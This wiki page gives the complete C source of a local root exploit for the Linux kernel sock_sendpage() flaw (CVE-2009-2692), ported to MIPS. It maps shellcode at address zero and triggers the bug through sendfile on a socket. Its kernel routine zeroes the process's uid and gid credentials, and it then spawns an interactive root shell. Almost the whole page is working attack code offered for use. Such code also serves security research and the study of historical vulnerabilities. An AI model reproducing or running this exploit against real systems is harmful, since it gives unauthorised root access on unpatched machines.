Based on existing exploit, modified for use on mips.

/*
 **
 ** 0x82-CVE-2009-2692
 ** Linux kernel 2.4/2.6 (32bit) sock_sendpage() local ring0 root exploit (simple ver)
 **
 ** --
 ** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team.
 ** spender and venglin's code is very excellent.
 ** Thankful to them.
 **
 ** Greets: Brad Spengler <spender(at)grsecurity(dot)net>,
 **         Przemyslaw Frasunek <venglin(at)czuby(dot)pl>.
 ** --
 **
 ** mips port by jan.stancek(at)gmail(dot)com>.
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/personality.h>

unsigned int uid, gid;
unsigned long esp = 0;
unsigned long task_struct_uid_gid = 0;

/*
The code below comes to 0x00000000
Address to kernel_code comes at 0x00000040

4008e8:       03802021        move    a0,gp  --> store gp to a0, we need to restore gp before jumping out from kernel_code
4008ec:       8c190040        lw      t9,64(zero) --> kernel_code
4008f0:       00000000        nop
4008f4:       03200008        jr      t9 --> call kernel_code
4008f8:       00000000        nop
*/
const char code[]={ 0x03, 0x80, 0x20, 0x21, 0x8c, 0x19, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x03, 0x20, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00 };

void kernel_code()
{
    unsigned long _gp;
    int i = 0;

    asm volatile (
            "sw $a0, %0\n"
            "sw $sp, %1\n"
            :: "m" (_gp), "m" (esp)
            );

    esp = esp & (~8191);

    uint *p = (unsigned int *) esp;
    for (i = 0; i < 1024-13; i++) {
        if (p[0] == uid && p[1] == uid &&
                p[2] == uid && p[3] == uid &&
                p[4] == gid && p[5] == gid &&
                p[6] == gid && p[7] == gid) {
            p[0] = p[1] = p[2] = p[3] = 0;
            p[4] = p[5] = p[6] = p[7] = 0;
            task_struct_uid_gid = (unsigned long) p;
            p = (uint *) ((char *)(p + 8) + sizeof(void *));
            p[0] = p[1] = p[2] = ~0;
            break;
        }
        p++;
    }

    /* restore gp and return to $ra, this should bring us back to kernel after sock_sendpage call */
    asm (
            "lw $gp, %0\n"
            :: "m" (_gp)
        );

    return;
}

int main(int argc,char *argv[])
{
    int fd_in = 0;
    int fd_out = 0;
    void *zero_page;
    int offset = 0;

    uid=getuid();
    gid=getgid();

    if(uid==0)
    {
        fprintf(stderr,"[-] check ur uid, you are root already\n");
        return -1;
    }

    /*
     ** There are some cases that we need mprotect due to the dependency matter with SVR4. (however, I did not confirm it yet)
     */
    if(personality(0xffffffff)==PER_SVR4)
    {
        if(mprotect(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)==-1)
        {
            perror("[-] mprotect()");
            return -1;
        }
    }
    else
    {
        if((zero_page=mmap(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,0,0))==MAP_FAILED)
        {
            perror("[-] mmap()");
            return -1;
        }
    }

    memcpy(0, code, 20);
    *(long *)0x00000040=(unsigned long) &kernel_code;

    if((fd_in=open(argv[0],O_RDONLY))==-1)
    {
        perror("[-] open()");
        return -1;
    }

    if((fd_out=socket(PF_APPLETALK,SOCK_DGRAM,0))==-1)
    {
        if((fd_out=socket(PF_BLUETOOTH,SOCK_DGRAM,0))==-1)
        {
            if((fd_out=socket(PF_INET6,SOCK_DGRAM,0))==-1)
            {
                perror("[-] socket()");
            }
            return -1;
        }
    }

gogossing:
    /*
     ** Sometimes, the attacks can fail. To enlarge the possiblilty of attack,
     ** an attacker can make all the processes runing under current user uid 0.
     */
    if(sendfile(fd_out,fd_in,&offset,2)==-1)
    {
        if(offset==0)
        {
            // perror("[-] sendfile()");
            // return -1;
        }
        close(fd_out);
        // fd_out=socket(PF_BLUETOOTH,SOCK_DGRAM,0);
    }

    if(getuid()==uid)
    {
        if(offset)
        {
            offset=0;
        }
        //goto gogossing;
    }

    close(fd_in);
    close(fd_out);

    printf("kernel esp: 0x%lx, task_struct_uid_gid: 0x%lx\n", esp, task_struct_uid_gid);
    if (task_struct_uid_gid!=0)
    {
        printf("Looks like we managed to execute our kernel_code()\n");
    }

    uid = getuid();
    printf("uid is: %d\n", uid);

    if(uid==0)
    {
        execl("/bin/sh","sh","-i",NULL);
    }
    else
    {
        printf("uid is not 0, something must have failed\n");
    }

    return 0;
}

Back to top
sock_sendpage_exploit_for_mips.txt · Last modified: 2015/10/05 16:06 by Jan Stancek
Sitemap Search: